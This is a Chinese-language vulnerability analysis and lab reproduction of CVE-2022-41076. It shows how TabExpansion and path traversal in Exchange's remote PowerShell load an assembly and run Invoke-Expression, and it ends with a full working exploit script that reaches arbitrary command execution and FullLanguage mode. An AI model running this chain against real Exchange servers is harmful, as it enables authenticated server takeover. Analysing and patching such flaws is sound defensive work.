PowerShell远程代码执行漏洞(CVE-2022-41076)分析与复现
漏洞概述
PowerShell(包括Windows PowerShell和PowerShell Core)是微软公司开发的任务自动化和配置管理程序,最初只是一个 Windows 组件,由命令行 shell 和相关的脚本语言组成。后于2016年8月18日开源并提供跨平台支持。
PowerShell 命令称为 cmdlet(读作 command-let),可以用.NET 语言或 PowerShell 脚本语言本身来编写。PowerShell提供了运行空间功能,允许应用程序自定义运行空间,以限制可执行的自定义cmdlet。但在其会话中额外提供了可使用TabExpansion cmdlet,结合目录穿越可实现加载任意dll执行,导致攻击者可以执行原本不能执行的cmdlet,从而在目标机器上执行任意代码。
使用了PowerShell自定义运行空间的程序受此漏洞影响。比如Microsoft Exchange邮件服务程序通过此功能提供了远程PowerShell,以便远程管理Exchange邮件服务器,该远程PowerShell限制了危险的cmdlet和命令的执行。但是经过身份验证的远程攻击者可以在此远程PowerShell会话中利用该漏洞,在目标机器上执行任意代码。
影响范围
主流Windows操作系统(版本较多,可参考文末参考链接)、PowerShell 7.2和7.3
复现环境
服务器操作系统:Microsoft Windows Server 2012 R2 Standard 64位操作系统
服务器IP:192.168.220.162
攻击机操作系统:Win10 64位操作系统
Microsoft Exchange邮件服务程序版本:2016
分析工具:dnspy、procexp
漏洞分析
首先安装Microsoft Exchange Server 2016程序(需要先安装域,再安装Exchange,内存最好8G以上,以免出现各种异常,具体方法可参考文末参考链接),安装好后浏览器访问https://192.168.220.162/ecp,使用域管理员账号登录Exchange管理中心,添加测试账号。分析时使用的测试账号是新建的域普通用户账号,账号名:cve-user,密码为:4rfv5tgb.,以“现有用户”的方式新建用户邮箱,如下图所示:

在攻击机(可以不加入域,但要保证能通过域名访问到Exchange服务器)上打开powershell控制台,使用测试账号登录Exchange提供的远程PowerShell,登录脚本如下:
1 | $User = "BeaconTowerLab\cve-user"$Pass = ConvertTo-SecureString -AsPlainText "4rfv5tgb." -Force$Credential = New-Object System.Management.Automation.PSCredential -ArgumentList $User,$Pass$Session = New-PSSession -ConfigurationName Microsoft.Exchange -ConnectionUri http://WIN-EN5J2DQFIF3.BeaconTowerLab.local/powershell/ -Authentication Kerberos -Credential $CredentialImport-PSSession $Session -AllowClobber |
其中$User是新建的普通域用户账号,$Pass中的字符串“4rfv5tgb.”是域用户密码,$Session中的URI“http://WIN-EN5J2DQFIF3.BeaconTowerLab.local/powershell/”是Exchange提供的远程PowerShell访问链接,请注意这里是HTTP协议,域名是Exchange服务器的域名。登录成功后,就可以执行Exchange提供的PowerShell cmdlet管理邮件服务器。比如执行 Get-Mailbox cmdlet可以查看邮箱对象和属性,脚本如下:
1 | Invoke-Command -Session $Session -ScriptBlock {get-mailbox} |

尝试执行其他cmdlet,比如“get-process”,试图获取Exchange服务器的进程列表,执行结果如下图所示:

可以看到,get-process cmdlet不能被执行。说明Exchange提供的远程PowerShell限制了cmdlet,并不能执行任意cmdlet。被允许执行的cmdlet可以通过get-command来获取,执行结果如下图所示:

这种受限制的PowerShell是由运行空间Runspace 技术实现的。使用dnspy反编译Exchange文件Microsoft.Exchange.PowerSharp.Management.dll,在类ExchangeManagementSessionFactory中,可以找到注册cmdlet代码实现的细节,如下图所示:

在Exchange服务器上有多个w3wp.exe进程,分别处理不同的WEB请求。负责Exchange远程PowerShell登录、cmdlet执行的进程命令行参数中包含“MSExchangePowerShellAppPool”字符串,如下图所示:

使用dnspy调试器附加上该进程,反编译系统模块System.Management.Automation.dll,在登录Exchange PowerShell时,将调用该文件包含的System.Management.Automation.Remoting.ServerRemoteSession类中的HandleCreateRunspacePool()函数。当传递参数WSManStackVersion < 3.0时,将注册额外的TabExpansion cmdlet,提供cmdlet补全功能,如下图所示:

然后在登录成功后,可以执行TabExpansion cmdlet,补全“test”cmdlet的脚本如下:
1 | Invoke-Command -Session $Session -ScriptBlock {TabExpansion -line "test" -lastWord "test"} |

在TabExpansion的实现代码中,使用“|;=”字符分割传入的参数,然后执行Get-Command cmdlet,如下图所示:

此时Get-Command cmdlet在执行的时候,将执行系统模块System.Management.Automation.dll的System.Management.Automation.CommandDiscovery类中的LookupCommandInfo()函数,如下图所示:

其中调用函数TryModuleAutoLoading(),其下再调用函数AutoloadSpecifiedModule(),最终执行Import-Module cmdlet加载对应的模块,如下图所示:

比如执行如下脚本,可以实现加载NetTCPIP模块。
1 | Invoke-Command -Session $Session -ScriptBlock { TabExpansion -line ";NetTCPIP\Test-NetConnection" -lastWord "-test" } |
这样相当于执行cmdlet:Import-Module -Name NetTCPIP,如下图所示:

Import-Module导入的模块文件可以是模块文件.psd1、PowerShell脚本文件.ps1和托管模块文件.dll。这样一来,配合路径穿越,可以实现加载PowerShell模块文件Microsoft.PowerShell.Commands.Utility.dll。脚本如下:
1 | Invoke-Command -Session $Session -ScriptBlock { TabExpansion -line ";../../../../Windows/Microsoft.NET/assembly/GAC_MSIL/Microsoft.PowerShell.Commands.Utility/v4.0_3.0.0.0__31bf3856ad364e35/Microsoft.PowerShell.Commands.Utility.dll\Invoke-Expression" -lastWord "-test" } |

PowerShell模块加载成功后,执行Invoke-Expression cmdlet可实现执行任意命令,突破了原来使用运行空间Runspace 创建的PowerShell cmdlet限制。比如获取当前用户名的脚本如下:
1 | Invoke-Command $session {Microsoft.PowerShell.Commands.Utility\Invoke-Expression "[System.Security.Principal.WindowsIdentity]::GetCurrent().Name" } |

利用场景
从漏洞分析结果可知,使用了PowerShell自定义运行空间的程序受此漏洞影响,可实现任意代码执行。根据网络上公开的消息,Exchange和Skype Business使用了该技术,可以利用该漏洞,实现远程代码执行,接管服务器。针对Exchange程序,需要以下信息,才能利用该漏洞:
1. 一个能成功登录的邮箱账号和密码
2. 远程PowerShell管理中心可通过账号密码访问
3. 操作系统版本或者PowerShell版本在漏洞范围内
漏洞复现
漏洞分析中已经包含了Exchange的安装说明和注意事项,不再赘述。根据网上已公开的漏洞利用代码,这里再做归纳和说明。利用漏洞,获取当前用户名的脚本如下:
1 | $secureString = ConvertTo-SecureString -String "4rfv5tgb." -AsPlainText -Force$UserCredential = New-Object System.Management.Automation.PSCredential -ArgumentList "BeaconTowerLab\cve-user", $secureString$version = New-Object -TypeName System.Version -ArgumentList "2.0"$mytable = $PSversionTable$mytable["WSManStackVersion"] = $version$sessionOption = New-PSSessionOption -SkipCACheck -SkipCNCheck -SkipRevocationCheck -ApplicationArguments @{PSversionTable=$mytable}$Session = New-PSSession -ConfigurationName Microsoft.Exchange -ConnectionUri http://WIN-EN5J2DQFIF3.BeaconTowerLab.local/powershell -Credential $UserCredential -Authentication Kerberos -AllowRedirection -SessionOption $sessionOptionInvoke-Command -Session $Session -ScriptBlock { TabExpansion -line ";../../../../Windows/Microsoft.NET/assembly/GAC_MSIL/Microsoft.PowerShell.Commands.Utility/v4.0_3.0.0.0__31bf3856ad364e35/Microsoft.PowerShell.Commands.Utility.dll\Invoke-Expression" -lastWord "-test" }Invoke-Command $session {Microsoft.PowerShell.Commands.Utility\Invoke-Expression "[System.Security.Principal.WindowsIdentity]::GetCurrent().Name" } |

其中“cve-user”是新建的普通域用户账号,“4rfv5tgb.”是域用户密码,同样也是Exchange的账号和密码,“http://WIN-EN5J2DQFIF3.BeaconTowerLab.local/powershell/”是Exchange提供的远程PowerShell访问链接,请注意这里是HTTP协议,域名是Exchange服务器的域名。
执行任意命令,比如执行计算器程序calc.exe,脚本如下:
1 | Invoke-Command $session {Microsoft.PowerShell.Commands.Utility\Invoke-Expression "[Diagnostics.Process]::Start('calc.exe')" } |


进入交互式PowerShell,执行任意命令,比如执行ipconfig.exe /all,脚本如下:
1 | Enter-PSSession -Session $Sessioninvoke-expression "`$ExecutionContext.SessionState.LanguageMode"invoke-expression "`$ExecutionContext.SessionState.LanguageMode='FullLanguage'"$ps = new-object System.Diagnostics.Process$ps.StartInfo.Filename = "ipconfig.exe"$ps.StartInfo.Arguments = " /all"$ps.StartInfo.RedirectStandardOutput = $True$ps.StartInfo.UseShellExecute = $false$ps.start()$ps.WaitForExit()[string] $Out = $ps.StandardOutput.ReadToEnd();$Out |

补丁链接
https://msrc.microsoft.com/update-guide/en-US/vulnerability/CVE-2022-41076BootstrapClassLoader
参考链接
https://zh.wikipedia.org/zh-hans/PowerShell
https://blog.viettelcybersecurity.com/tabshell-owassrf/
https://msrc.microsoft.com/update-guide/en-US/vulnerability/CVE-2022-41076
https://blog.csdn.net/qq_44159028/article/details/123814873
https://github.com/balki97/OWASSRF-CVE-2022-41082-POC/blob/main/TabShell.ps1
原文链接
相关文章:
PowerShell远程代码执行漏洞(CVE-2022-41076)分析与复现
漏洞概述PowerShell(包括Windows PowerShell和PowerShell Core)是微软公司开发的任务自动化和配置管理程序,最初只是一个 Windows 组件,由命令行 shell 和相关的脚本语言组成。后于2016年8月18日开源并提供跨平台支持。PowerShell…...
Mybatis中的一级缓存和二级缓存
Mybatis作为一款强大的ORM框架,其中也用到了缓存来加速查询,今天我们一起来探讨下。 Mybatis可以使用懒加载来提高查询的效率,并且可以通过缓存来提高查询的效率。其中包括有一级缓存和二级缓存。 一级缓存是sqlSession级别的缓存,…...
【Java】SpringBoot中实现异步编程
前言 首先我们来看看在Spring中为什么要使用异步编程,它能解决什么问题? 什么是异步? 首先我们先来看看一个同步的用户注册例子,流程如下: 异步的方式如下: 在用户注册后将成功结果返回,…...
ASCII 文件与 TIFF 文件互转(Python 实现)(2023/03/09)
ASCII 文件与 TIFF 文件互转(Python 实现) 文章目录ASCII 文件与 TIFF 文件互转(Python 实现)1. 环境1.1 Linux1.2 Windows2. 代码1. 环境 1.1 Linux $ pip3 install --index-url https://mirrors.aliyun.com/pypi/simple --tru…...
思科模拟器 | 交换机与路由器的配置汇总【收藏备用】
文章目录一、vlan配置【实现同一vlan的主机通信】1、基本配置和接线2、vlan配置与端口连接3、测试连接二、truck配置【实现连接在不同交换机上的同一vlan的主机通信】1、基本配置和接线2、vlan配置与端口连接3、打truck做连接3、测试连接三、静态路由配置1、自定义IP地址2、基本…...
电子台账:软件运行环境要求与功能特点
1 运行环境要求为满足大部分应用环境,软件开发时综合考虑各种各种不同因素影星,包括:操作系统、硬件、辅助软件、安装、运行、补丁、数据库、网络、人员等因素。目前台账软件需求为:操作系统:目前能运行的任意版本wind…...
计算机科学导论笔记(六)
目录 八、算法 8.1 概念 8.1.1 非正式定义 8.1.2 示例 8.1.3 定义动作 8.1.4 细化 8.1.5 泛化 8.2 三种结构 8.2.1 顺序 8.2.2 判断 8.2.3 循环 8.3 算法的表示 8.3.1 UML 8.3.2 伪代码 8.4 更正式的定义 8.5 基本算法 8.5.1 求和 8.5.2 求积 8.5.3 最大和最…...
嵌入式从业10年,聊聊我对工业互联网和消费物联网的看法 | 文末赠书4本
嵌入式从业10年,聊聊我对工业互联网和消费物联网的看法 工业互联网和消费物联网,有何异常点?本文,博主将结合自己的亲身经历,现身说法,聊聊博主对工业互联网和消费物联网的看法。 文章目录1 写在前面2 我眼…...
python的django框架从入门到熟练【保姆式教学】第一篇
当今,Python已成为最受欢迎的编程语言之一。而Django是一个基于Python的Web框架,它能够帮助你快速、高效地开发Web应用程序。如果你是一名初学者,学习Django框架可能会让你感到有些困惑。不过,不用担心,我们将为你提供…...
浏览记录或者购物车的去重处理
saveHistory(){// 获取缓存数据let historyArr uni.getStorageSync(historyArr) || []//需要添加的数据let item{id:this.detail.id,classid:this.detail.classid,title:this.detail.title,picurl:this.detail.picurl,looktime:parseTime(Date.now())};// forEach和findIndex的…...
Ubantu docker学习笔记(二)拉取构建,属于你的容器
文章目录一、拉取启动容器二、本地镜像初解三、构建镜像3.1使用docker commit构建镜像切换阿里镜像3.2使用dockerfile构建镜像四、总个结吧这里的话,就详细说说小唐对于容器的配置,对了!小唐参考的书籍是Linux容器云实战!…...
指针数组 数组指针 常量指针 指针常量 函数指针 指针函数
一、指针常量与常量指针 1、指针常量 本质上是一个常量,常量的类型是指针,表示该常量是一个指针类型的常量。在指针常量中,指针本身的值是一个常量,不可以改变,始终指向同一个地址。在定义的时候,必须要初…...
前端js学习
1. js入门 1.1 js是弱类型语言 1.2 js使用方式 1.2.1 在script中写 1.2.2 引入js文件 1.2.3 优先级 1.3 js查错方式 1.4 js变量定义 1.4 js数据类型 数据类型英文表示示例数值类型number1.1 1字符串类型string‘a’ ‘abc’ “abc”对象类型object布尔类型booleannumber函数…...
“华为杯”研究生数学建模竞赛2007年-【华为杯】A题:食品卫生安全保障体系数学模型及改进模型(附获奖论文)
赛题描述 我国是一个拥有13亿人口的发展中国家,每天都在消费大量的各种食品,这批食品是由成千上万的食品加工厂、不可计数的小作坊、几亿农民生产出来的,并且经过较多的中间环节和长途运输后才为广大群众所消费,加之近年来我国经济发展迅速而环境治理没有能够完全跟上,以至…...
转战C#---day2
定义数组: using System; using System.Collections.Generic; using System.Linq; using System.Text; using System.Threading.Tasks;namespace Relay_Sin_Com {class Program{static void Main(string[] args){int[] ages1 {3240,242,34};Console.WriteLine(age…...
【vue2源码学习】— diff
vue更新还是调用了 vm._update 会进入下面这一步 vm.$el vm.__patch__(prevVnode, vnode) 又回到了patch方法 会通过sameVnode 判断是不是相同的vnode// patch代码片段 const isRealElement isDef(oldVnode.nodeType) if (!isRealElement && sameVnode(oldVnode, vno…...
更换 Linux 自带的 jdk 环境
如下,我要把 Linux 默认的 jdk 版本换成我自己的 jdk 版本。 Linux 自带的 jdk 环境: 要更换的 jdk 环境: 1、切换到 root 用户进行操作; 2、在根目录下创建一个 /export/server/ 目录; [rootcentos /]# mkdir -p /e…...
MySQL8读写分离集群
文章目录前言MySQL读写分离原理搭建MySQL读写分离集群MySQL8.0之前MySQL8.0之后后记前言 上一期介绍并实现了MySQL的主从复制,由于主从复制架构仅仅能解决数据冗余备份的问题,从节点不对外提供服务,依然存在单节点的高并发问题 所以在主从复…...
蓝桥冲刺31天之第七天
目录 A:三角回文数 B:数数 C:数组切分 D:倍数问题 一星陨落,黯淡不了星空灿烂; 一花凋零,荒芜不了整个春天。 如果命运是世界上最烂的编剧, 你就要争取做人生最好的演员。 即使生…...
【Python百日进阶-Web开发-Vue3】Day550 - Vue3 商城后台 10:Veux4-02基本使用
文章目录 二、Vuex的基本使用2.4 Mutations 应用 :同步更新state2.4.1 `src/store/index.js`2.4.2 `src/views/index.vue`2.5 Module的应用:分模块2.5.1 `src/store/modules/product.js`2.5.2 `src/store/modules/cart.js`2.5.3 `src/store/index.js`2.5.4 `src/views/index.…...
iOS 26 携众系统重磅更新,但“苹果智能”仍与国行无缘
美国西海岸的夏天,再次被苹果点燃。一年一度的全球开发者大会 WWDC25 如期而至,这不仅是开发者的盛宴,更是全球数亿苹果用户翘首以盼的科技春晚。今年,苹果依旧为我们带来了全家桶式的系统更新,包括 iOS 26、iPadOS 26…...
VB.net复制Ntag213卡写入UID
本示例使用的发卡器:https://item.taobao.com/item.htm?ftt&id615391857885 一、读取旧Ntag卡的UID和数据 Private Sub Button15_Click(sender As Object, e As EventArgs) Handles Button15.Click轻松读卡技术支持:网站:Dim i, j As IntegerDim cardidhex, …...
ESP32读取DHT11温湿度数据
芯片:ESP32 环境:Arduino 一、安装DHT11传感器库 红框的库,别安装错了 二、代码 注意,DATA口要连接在D15上 #include "DHT.h" // 包含DHT库#define DHTPIN 15 // 定义DHT11数据引脚连接到ESP32的GPIO15 #define D…...
服务器硬防的应用场景都有哪些?
服务器硬防是指一种通过硬件设备层面的安全措施来防御服务器系统受到网络攻击的方式,避免服务器受到各种恶意攻击和网络威胁,那么,服务器硬防通常都会应用在哪些场景当中呢? 硬防服务器中一般会配备入侵检测系统和预防系统&#x…...
【开发技术】.Net使用FFmpeg视频特定帧上绘制内容
目录 一、目的 二、解决方案 2.1 什么是FFmpeg 2.2 FFmpeg主要功能 2.3 使用Xabe.FFmpeg调用FFmpeg功能 2.4 使用 FFmpeg 的 drawbox 滤镜来绘制 ROI 三、总结 一、目的 当前市场上有很多目标检测智能识别的相关算法,当前调用一个医疗行业的AI识别算法后返回…...
【碎碎念】宝可梦 Mesh GO : 基于MESH网络的口袋妖怪 宝可梦GO游戏自组网系统
目录 游戏说明《宝可梦 Mesh GO》 —— 局域宝可梦探索Pokmon GO 类游戏核心理念应用场景Mesh 特性 宝可梦玩法融合设计游戏构想要素1. 地图探索(基于物理空间 广播范围)2. 野生宝可梦生成与广播3. 对战系统4. 道具与通信5. 延伸玩法 安全性设计 技术选…...
MySQL账号权限管理指南:安全创建账户与精细授权技巧
在MySQL数据库管理中,合理创建用户账号并分配精确权限是保障数据安全的核心环节。直接使用root账号进行所有操作不仅危险且难以审计操作行为。今天我们来全面解析MySQL账号创建与权限分配的专业方法。 一、为何需要创建独立账号? 最小权限原则…...
Pinocchio 库详解及其在足式机器人上的应用
Pinocchio 库详解及其在足式机器人上的应用 Pinocchio (Pinocchio is not only a nose) 是一个开源的 C 库,专门用于快速计算机器人模型的正向运动学、逆向运动学、雅可比矩阵、动力学和动力学导数。它主要关注效率和准确性,并提供了一个通用的框架&…...
Python Ovito统计金刚石结构数量
大家好,我是小马老师。 本文介绍python ovito方法统计金刚石结构的方法。 Ovito Identify diamond structure命令可以识别和统计金刚石结构,但是无法直接输出结构的变化情况。 本文使用python调用ovito包的方法,可以持续统计各步的金刚石结构,具体代码如下: from ovito…...
在 Spring Boot 项目里,MYSQL中json类型字段使用
前言: 因为程序特殊需求导致,需要mysql数据库存储json类型数据,因此记录一下使用流程 1.java实体中新增字段 private List<User> users 2.增加mybatis-plus注解 TableField(typeHandler FastjsonTypeHandler.class) private Lis…...
